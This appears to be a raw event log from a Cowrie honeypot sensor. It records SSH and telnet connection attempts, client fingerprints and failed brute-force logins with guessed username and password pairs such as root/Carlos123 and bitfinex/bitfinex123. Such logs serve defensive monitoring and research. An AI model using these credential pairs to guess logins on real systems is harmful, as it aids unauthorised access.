{"eventid":"cowrie.session.closed","duration":0.004831552505493164,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:33.901457Z","src_ip":"94.23.66.112","session":"1da55468c33d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":46556,"dst_ip":"10.17.0.5","dst_port":22,"session":"01d48300e84f","protocol":"ssh","message":"New connection: 91.92.40.4:46556 (10.17.0.5:22) [session: 01d48300e84f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:36.323255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:36.326693Z","src_ip":"91.92.40.4","session":"01d48300e84f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:36.406651Z","src_ip":"91.92.40.4","session":"01d48300e84f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"p@ssw0rd","message":"login attempt [test/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:36.655113Z","src_ip":"91.92.40.4","session":"01d48300e84f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:37.738115Z","src_ip":"91.92.40.4","session":"01d48300e84f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.237669706344604,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:39.933146Z","src_ip":"8.210.123.17","session":"6f3e3f5ce85b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:45.493671Z","src_ip":"198.57.219.18","session":"5572fee4d4d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":53612,"dst_ip":"10.17.0.5","dst_port":22,"session":"79a34d7f07a3","protocol":"ssh","message":"New connection: 213.202.230.81:53612 (10.17.0.5:22) [session: 79a34d7f07a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:46.333220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:46.338908Z","src_ip":"213.202.230.81","session":"79a34d7f07a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:46.426426Z","src_ip":"213.202.230.81","session":"79a34d7f07a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sydney_australia","password":"sydney123","message":"login attempt [sydney_australia/sydney123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:46.689478Z","src_ip":"213.202.230.81","session":"79a34d7f07a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:47.779085Z","src_ip":"213.202.230.81","session":"79a34d7f07a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.56.160.82","src_port":36878,"dst_ip":"10.17.0.5","dst_port":22,"session":"2557652dfaac","protocol":"ssh","message":"New connection: 218.56.160.82:36878 (10.17.0.5:22) [session: 2557652dfaac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:52.429677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:52.433117Z","src_ip":"218.56.160.82","session":"2557652dfaac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:52.688392Z","src_ip":"218.56.160.82","session":"2557652dfaac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Carlos123","message":"login attempt [root/Carlos123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:53.746429Z","src_ip":"218.56.160.82","session":"2557652dfaac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:55.005371Z","src_ip":"218.56.160.82","session":"2557652dfaac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.241","src_port":40570,"dst_ip":"159.203.135.109","dst_port":22,"session":"b094acc38b47","protocol":"ssh","message":"New connection: 162.241.239.241:40570 (159.203.135.109:22) [session: b094acc38b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:23:04.958763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:23:04.966287Z","src_ip":"162.241.239.241","session":"b094acc38b47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:23:04.992931Z","src_ip":"162.241.239.241","session":"b094acc38b47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apia_samoa","password":"apia123","message":"login attempt [apia_samoa/apia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:23:05.072198Z","src_ip":"162.241.239.241","session":"b094acc38b47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:23:06.101238Z","src_ip":"162.241.239.241","session":"b094acc38b47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.5.224","src_port":51860,"dst_ip":"159.203.135.109","dst_port":22,"session":"84d016912d5c","protocol":"ssh","message":"New connection: 162.214.5.224:51860 (159.203.135.109:22) [session: 84d016912d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:23:31.341470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:23:31.345006Z","src_ip":"162.214.5.224","session":"84d016912d5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:23:31.427259Z","src_ip":"162.214.5.224","session":"84d016912d5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitfinex","password":"bitfinex123","message":"login attempt [bitfinex/bitfinex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:23:31.673926Z","src_ip":"162.214.5.224","session":"84d016912d5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:23:32.759207Z","src_ip":"162.214.5.224","session":"84d016912d5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.56.160.82","src_port":17952,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b5baace8f20","protocol":"ssh","message":"New connection: 218.56.160.82:17952 (10.17.0.5:22) [session: 3b5baace8f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:23:48.444754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:23:48.448888Z","src_ip":"218.56.160.82","session":"3b5baace8f20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:23:48.699347Z","src_ip":"218.56.160.82","session":"3b5baace8f20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwqwqw","message":"login attempt [root/qwqwqw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:23:50.399815Z","src_ip":"218.56.160.82","session":"3b5baace8f20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:23:52.222336Z","src_ip":"218.56.160.82","session":"3b5baace8f20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00607538223267,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:23:56.825931Z","src_ip":"94.23.66.112","session":"9eeabe8d5db3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":41768,"dst_ip":"159.203.135.109","dst_port":22,"session":"3272b1780cb3","protocol":"ssh","message":"New connection: 143.20.185.207:41768 (159.203.135.109:22) [session: 3272b1780cb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:23:59.887967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:23:59.890730Z","src_ip":"143.20.185.207","session":"3272b1780cb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:00.020307Z","src_ip":"143.20.185.207","session":"3272b1780cb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSAVPS#8VCPU32GBAMD","message":"login attempt [root/RASYAXINSAVPS#8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:00.492743Z","src_ip":"143.20.185.207","session":"3272b1780cb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52654,"dst_ip":"159.203.135.109","dst_port":23,"session":"620dac33a51b","protocol":"telnet","message":"New connection: 170.64.224.25:52654 (159.203.135.109:23) [session: 620dac33a51b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:00.564973Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":58734,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fe7e42dd79f","protocol":"ssh","message":"New connection: 80.94.92.55:58734 (10.17.0.5:22) [session: 2fe7e42dd79f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:00.974819Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:01.632704Z","src_ip":"143.20.185.207","session":"3272b1780cb3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:01.810387Z","src_ip":"80.94.92.55","session":"2fe7e42dd79f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:01.814438Z","src_ip":"80.94.92.55","session":"2fe7e42dd79f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":46666,"dst_ip":"10.17.0.5","dst_port":22,"session":"af5eb231ce9e","protocol":"ssh","message":"New connection: 103.172.78.219:46666 (10.17.0.5:22) [session: af5eb231ce9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:02.395871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:24:02.400364Z","src_ip":"103.172.78.219","session":"af5eb231ce9e","protocol":"ssh"}
